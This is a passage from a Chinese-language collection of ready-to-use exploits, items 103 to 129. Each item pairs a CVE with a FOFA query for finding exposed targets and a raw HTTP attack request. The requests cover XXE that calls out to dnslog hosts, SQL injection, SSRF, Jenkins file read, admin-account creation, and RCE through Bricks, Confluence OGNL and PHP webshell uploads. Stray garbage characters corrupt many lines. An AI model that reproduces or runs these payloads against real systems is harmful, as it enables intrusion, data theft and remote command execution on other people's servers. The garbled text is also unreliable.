<ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
& C6 S+ ]8 q# _# \0 W( U& G
103. Ivanti Pulse Connect Secure VPN XXE
  p! P1 b& C6 [! u, nCVE-2024-22024
8 b  i1 y$ @" S* P! q" uFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
( [1 j. b$ |) G! u1 G) OUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
% D& X9 b8 W3 {3 CConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

. y$ r8 `2 `- ~, n4 `: x8 o; uSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
0 k# ]4 ^' T7 S
  R2 w7 a4 B# L* Y9 Q* p5 l
7 S' h& I% U% n/ Z1 d) k, g3 v! `, j104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
* g  Z2 X8 c  Z5 i6 T6 ^9 ]CVE-2024-0569
FOFA：title="TOTOLINK"
, V( j4 E, I8 V$ V2 {& yPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
4 q* f& S0 l8 l' V6 @Content-Length:41
  o6 Q0 Z2 _0 G" `, _4 OAccept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
' f0 y) \; D) m" N/ i3 }8 e3 K2 D0 ]Referer: http://192.168.0.1/advance/index.html?time=1671152380564
  ], }" U, w7 ^: G: N+ w; ^1 j+ W; lAccept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

( G8 u$ \- K, @4 Y* t7 k{
: L7 F$ W8 I" l, b"topicurl":"getSysStatusCfg",
"token":""
}
* R# }2 p1 }& Y: _9 h
105. SpringBlade v3.2.0 export-user SQL 注入
6 R: H, g! f6 l4 }. IFOFA：body="https://bladex.vip"
1 D' x2 @/ u# J, r' Zhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
7 x) _+ e3 `8 z8 n$ ~8 ~
2 a  ]& x# R! y. O- ~& J106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
, @4 K* H' s2 t) [8 O2 q: KGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
6 U0 i, L, T6 E; B; }& MHost: your-ip
7 [& @; E/ W5 h) M! \: E2 [2 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ ]7 C" G8 j. p1 T; e3 a- Z6 eBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
* ^7 V: t# _2 cAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ X$ h( l- u( k; ~/ M8 jConnection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
" b( A0 ~8 R8 b& `Host: your-ip
9 f3 {9 ^( ^) u& u" tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 W5 n- y1 ^' h) S7 \* L$ JBlade-Auth:替换为自己的
Connection: close
& ~0 V+ w, n; Y3 j* c- ?

" F6 {+ @+ u4 |% g9 A8 @" z108. D-Tale 3.9.0 SSRF
9 L- g. O8 m; NCVE-2024-21642
7 @) y$ y' q- nFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
- D. x, ?) K" D7 }3 nHost: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
8 S$ c0 U; H: @3 ^: ZAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
' e1 \' _& y2 q$ O) }* Y9 r) ^Connection: close


109. Jenkins CLI 任意文件读取
! R1 v. `; c4 I( B; ]! m0 y% aCVE-2024-23897
FOFA：header="X-Jenkins"
/ B  S! e+ e$ J5 @1 e; Q) R# aPOST /cli?remoting=false HTTP/1.1
6 K9 F5 e5 R" d. R2 Q5 t# L: JHost:
Content-type: application/octet-stream
5 b+ P/ Q# o9 w, YSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
1 y0 c& a' D& ]+ l- QSide: upload
+ j6 P2 h3 P7 u: g, sConnection: keep-alive
; l* y" @* B* ^0 [  mContent-Length: 163
) X( a" R  m9 t2 K- i; u
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

8 ?: ], S( d7 F% n7 }
/ }. U4 \- b) ]/ p; t- _. ~* KPOST /cli?remoting=false HTTP/1.1
, t5 d3 X. r, dHost:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
' e- z% N0 \4 ?5 P" t) C
' |* _7 r: B! ?4 i* z
6 U9 }/ D, z: B0 s! v& uERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
$ \' k6 Q7 j+ \5 _java -jar jenkins-cli.jar help
[COMMAND]
# `8 q  w$ y$ f% w/ pLists all the available commands or a detailed description of single command.
0 u  P3 P- F5 C. H. P* Y! y" Y- r COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

2 k$ [2 u) {9 _7 Q" B& j
110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
$ [0 \: Z' L$ K0 _. \- YFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
) v* e% \8 g. A+ lUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
# x5 E2 L0 X5 c( hAccept: */*
Accept-Language: en
Accept-Encoding: gzip
7 x) y1 h3 ^( A! q  e" O

4 h  |9 V1 M+ ?  m( ~3 v111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
9 M+ z' F; K2 m5 z" s: j* _GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
: k# W. |/ Y5 KHost: 192.168.40.130:112
3 P+ a* ~! C& j5 l. ~4 Y* q2 \User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
( M% i6 c- q3 t! aConnection: close
9 E/ b# d% y1 _4 f0 J: J; NAccept: */*
Accept-Language: en
, Y$ Z% _% {" f2 z7 aAccept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
; f4 T, i8 r: R- d" g6 V$ e2 gFOFA：body="/wp-content/plugins/notificationx"
+ s- ]4 }3 n; @9 |$ V# Y  O5 ^POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
2 l$ k  `7 G3 n; _+ G
5 C  C/ D5 N/ e3 q" L$ S
113. WordPress Automatic 插件任意文件下载和SSRF
) [* ?2 ^5 t) n3 m; gCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
5 z5 {% C- E! `+ \4 z9 \7 @Connection: close
Accept: */*
# T( R2 C" T) jAccept-Language: en
. i' R1 ^$ X6 vAccept-Encoding: gzip


114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
1 L3 L8 g* R) A5 i/ ^$ j7 V" MGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
+ K) U! c  F# @& D- m3 zHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
& M7 h  w" _7 X4 uAccept-Encoding: gzip, deflate
0 a# |' r8 W. G' z  l8 ]Connection: close


115. WordPress Bricks Builder <= 1.9.6 RCE
& E1 C( Z: ]* o' C4 pCVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
1 H$ f# f1 W1 W; D0 U1 uHost: x.x.x.x
3 }- O0 \3 o3 P- s  h. NUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
* |1 {7 V) }) B. y* `% u( `6 AConnection: close
Accept-Encoding: gzip


  u! ?, C/ F# Z- L8 l# ~! u第二步替换nonce值，执行命令
& k* T4 S/ K& E' I% d0 TPOST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
) O4 o; O! Q2 N3 G2 n& JContent-Length: 356
Content-Type: application/json
6 C+ R7 N( g  k: H' lAccept-Encoding: gzip
" B& I6 M6 k) a
{
"postId": "1",
  "nonce": "第一步获得的值",
' _' B; d& ^( o5 M. m1 Q$ V. e  "element": {
4 O; ]( N! @8 q. E    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
6 @6 a0 w2 l6 @0 A! J1 f" \        "objectType": "post"
0 ~8 P4 v4 S- C4 L2 U4 ?$ _0 g      }
    }
  }
}

1 x, D$ A6 a* d" Y6 }
; g/ b/ V$ ]6 r$ @7 U* v5 h116. wordpress js-support-ticket文件上传
1 K' m' o6 \9 [. mFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
7 O" g+ H" f' F3 u% w- l+ }Host:
Content-Type: multipart/form-data; boundary=--------767099171
( ~% o  Q9 S8 g# w1 ?2 |; J2 ZUser-Agent: Mozilla/5.0
8 R+ ?2 S4 d; O- T
' P% O' ~  ?/ s2 u0 l: Z6 u! n----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
6 _, b3 w# r& E% w3 Q----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--
9 C1 U" N7 i! X: y
6 m4 p; P& O- s- d) D' N  U% g
) t; B+ F8 w# ]4 v+ }117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
) j% D& i2 b/ |2 b9 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 ~3 s& z1 q7 u* j4 q4 ]0 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
' i; @8 _9 t$ H) S3 F% @' }2 T; WConnection: close
Upgrade-Insecure-Requests: 1
/ Z* b+ ?5 i9 P

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
- q% ^8 f: R* n( j9 UHost: 192.168.40.130:8443
! C/ O7 ], d! K* S5 k; E0 F+ rCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
  z, K5 o2 W7 U0 ]& G5 l( I& j( wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
0 Q2 b2 D( o8 s% k: |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( g( z- B' G; ^! U% HContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
; s2 z" Y3 M7 rOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
" m7 k/ S8 j" x, h) r2 V9 h' WUpgrade-Insecure-Requests: 1
$ m6 M! F- q& ?/ p0 A1 p# F2 f( eSec-Fetch-Dest: document
+ g1 V/ v! s4 V7 v% K) O' ^Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
7 d* M( J# k3 p* H: C. i6 k6 S
( h3 p9 b$ u0 q, [: p; X-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
% |$ A% t: M* [0 z0 CContent-Type: application/octet-stream

<?php
6 ~2 K' R* C, ], B& \4 v1 bsystem($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="txt_path"
( V1 l% S8 i1 U5 {# U  H
" k4 X6 R4 N' g( X5 W/home/src.php
-----------------------------13979701222747646634037182887--


访问/home/src.php
3 x6 e! \6 y& e8 J( Y
. b) h3 S# A' s2 ^6 C5 f# w$ q119. 北京百绰智能S20后台sysmanageajax.php sql注入
. ~% r! Q. c1 s; RCVE-2024-1254
. b6 z) S" F4 H9 nFOFA：title="Smart管理平台"
: G" ^7 l: ~, k+ p: T先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
, X( P0 ^% L' e( h& e- w/ Z. rHost: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 e2 I1 l0 v+ Q' }3 r5 S$ V" ~Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
+ q/ Q! C- T& G9 T' y2 L- y2 F: ~+ YReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
. Y! N7 o/ \! Y  p# Q" O2 y- _Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
- N: r7 K" ^* R& iX-Forwarded-For: 1.1.1.1
9 S8 f& D4 u, W- w: G. KX-Originating-Ip: 1.1.1.1
  _. y$ b! H: o, fX-Remote-Ip: 1.1.1.1
& _9 r  A( u+ U" U+ J5 s7 i$ q' e% lX-Remote-Addr: 1.1.1.1
. h5 p# c, ~4 B. R, wTe: trailers
' o" N/ p2 N7 I( F6 g' k1 k3 G2 {0 pConnection: close

$ p! j* H1 I8 R% B6 k1 z( Q, L& psrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

% [. S! \2 K' l0 C( R
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
+ |% ]; z6 |; Y9 u5 V( d; v% VCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
3 ?* {- ^- J, I3 G: W' LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 M, ]+ _; L6 X8 K" J# o0 S5 SContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
Origin: https://ip:port
. p  f6 M& L! R- RReferer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
7 c  b: L5 t# ~$ _* qSec-Fetch-User: ?1
0 r4 j9 y6 c2 J, C& j, QTe: trailers
Connection: close
5 \( c/ _8 p# r  z; D
! N1 Z/ O) A( B7 U' N) s-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
: @* u, S4 u  g5 G2 {# M
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
! W3 e; }/ f) N% {Content-Disposition: form-data; name="id_type"
6 x( u" E+ j8 e) i/ C4 l
0 l5 R* l* R1 }$ q. o. c, u1
-----------------------------42328904123665875270630079328
' q! y, }. v& ]$ N0 w5 UContent-Disposition: form-data; name="1_ck"

1_radhttp
  Q! {$ E6 A+ J" G1 Z/ _7 l! C-----------------------------42328904123665875270630079328
1 v. l$ W  k, U& o0 b. _Content-Disposition: form-data; name="mode"
$ K# C' i% P6 Y- T/ h+ {9 B+ A" q: c4 s
import
-----------------------------42328904123665875270630079328
1 E3 L* {; r4 B. c, @8 G

文件路径/upload/2.php

121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
. \' I, i* N1 iCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 O2 k5 f7 g; e; e* mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 e; |8 r/ x" e9 G: d& n+ B5 F; V9 ]Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& o8 J. d( Z' G5 H3 ]Content-Length: 592
$ ]. [& Z& e% U$ R2 r) a) v& wOrigin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
' V9 {+ u, u2 E' U' XSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
! [0 b' |, `+ d1 d) D: f# }. jTe: trailers
Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
' R  p& f8 d0 q! v  o7 `. N% e
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

' J. P3 a* G9 Y5 u9 X1
-----------------------------42328904123665875270630079328
# u- _2 {1 J' D9 V8 i- r( nContent-Disposition: form-data; name="1_ck"

: q1 o  v- }" W3 h6 F: Z, Y) K, K1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
( }& i, ^* S- d1 u8 M
set
# P1 w' U9 a2 {. G- N-----------------------------42328904123665875270630079328
# m3 O2 Z5 S. z
8 w: f( A% U! S6 H% E3 t7 k. O  D' h5 k5 w
( ?# x5 r* b& Jboot/web/upload/weblogo/1.php
* v# q5 A* C, Y  C7 j) k, o
122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
+ n: J8 j' B( P! Q0 s2 i1 ]其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
5 s; P1 T! G- j& XHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
6 h. i2 J0 L6 l7 k/ G- s' iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
  ^% @& v% l( v$ xUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
" V' M* C. f2 F" W3 S6 ^Sec-Fetch-User: ?1
7 Y! v* T. H% h2 `  W8 q0 ~6 ^0 }Te: trailers
& y) {% x1 E" t: ]! FConnection: close
) p1 f0 Y4 C/ F  i: }2 j9 |/ j8 e

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
$ h% z2 _: X2 ^POST /template/aui/text-inline.vm HTTP/1.1
: l4 v* A/ M: O! l) k4 DHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
" h$ e7 o* K0 S8 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
* W' [" M6 _% C6 H6 h9 V* SConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))

2 q5 X; G# L7 q1 T+ A; _
* S5 K& K$ K# q( D124. 湖南建研工程质量检测系统任意文件上传
9 l$ F% t8 h) G* c# d6 f+ LFOFA：body="/Content/Theme/Standard/webSite/login.css"
8 G  J- O" ^$ [% LPOST /Scripts/admintool?type=updatefile HTTP/1.1
$ G! T$ U: a1 {$ z9 I$ cHost: 192.168.40.130:8282
2 _+ t5 N9 j  R* t' v/ tUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
) u5 O8 ~' u5 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
8 _& P1 F: ?+ o0 o0 XContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
' c5 `6 ~' X1 Z; `4 t4 [

- }; e1 P1 t8 C0 D4 D. ^http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

% W4 v3 z% S+ {
/ l4 a5 Y: o# B( ?5 j& m0 k: }使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
- g3 X) Y1 g' e; m$ p

9 }) I9 {& P- U" }创建好用户后直接登录后台，可以执行系统命令。
, H: D) n" A7 R/ J& v: f5 |
+ \, X$ M0 L) Z7 k126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
  R$ r) ]- ]6 a6 A5 I! qGET /static/../../../../../etc/passwd HTTP/1.1
' q* k2 M# L8 s$ O2 v; D! u0 N5 ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
: U2 W: ~5 H) b0 F% r$ rAccept-Language: en
" Y' e, |+ F6 rAccept-Encoding: gzip

6 R6 I$ ~/ j! d; g9 L
' n" t) W+ f: y# y) q% H3 |# F127. 广联达Linkworks DataExchange.ashx XXE
0 V4 {0 [; }& f* ]) w9 d9 {( E$ FFOFA：body="Services/Identification/login.ashx"
# e# F3 _! S. q) y- L4 bPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
, m; Q  {' B) l8 gHost: 192.168.40.130:8888
: s  ]& R( e  TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
5 n2 k8 \7 U% @' s5 jContent-Length: 415
8 |6 k! n. b2 G5 J( K  i1 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ D2 \! m! ^% |" W5 H& ZConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
; N% K$ V0 P  _+ }Purpose: prefetch
Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
- I3 N8 D" P+ D7 R& c7 {Content-Disposition: form-data;name="SystemName"

/ q9 N. @( F3 i  T/ e2 E7 f- C9 E# qBIM
( N+ v; M9 q) w5 M------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
& G9 j2 c; O$ l]
  U  C  E# @( V$ D/ j/ J8 ]$ g8 E; b) n>
. _; r2 T6 w* b# Z2 ]<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
1 y( b$ k7 h1 w" r
/ }; R+ [: \4 H3 I6 Y% R
8 }% }5 [* P: i
+ I/ X5 y) {; K. `' y& L2 w128. Adobe ColdFusion 反序列化
; h( H9 J9 h9 `* B9 ACVE-2023-38203
7 l* F# U- {+ A. I+ OAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
! K' K. h1 o5 {9 O% ~2 b! c- sFOFA：app="Adobe-ColdFusion"
- Z& M6 K* S7 Y* k3 t5 k4 ~PAYLOAD
9 e5 p) B/ h5 a/ f
, u& k! t' {  t2 y$ W129. Adobe ColdFusion 任意文件读取
2 W: v5 P" E0 @( w0 l$ w+ ^+ zCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
3 @7 \( W# n& pGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
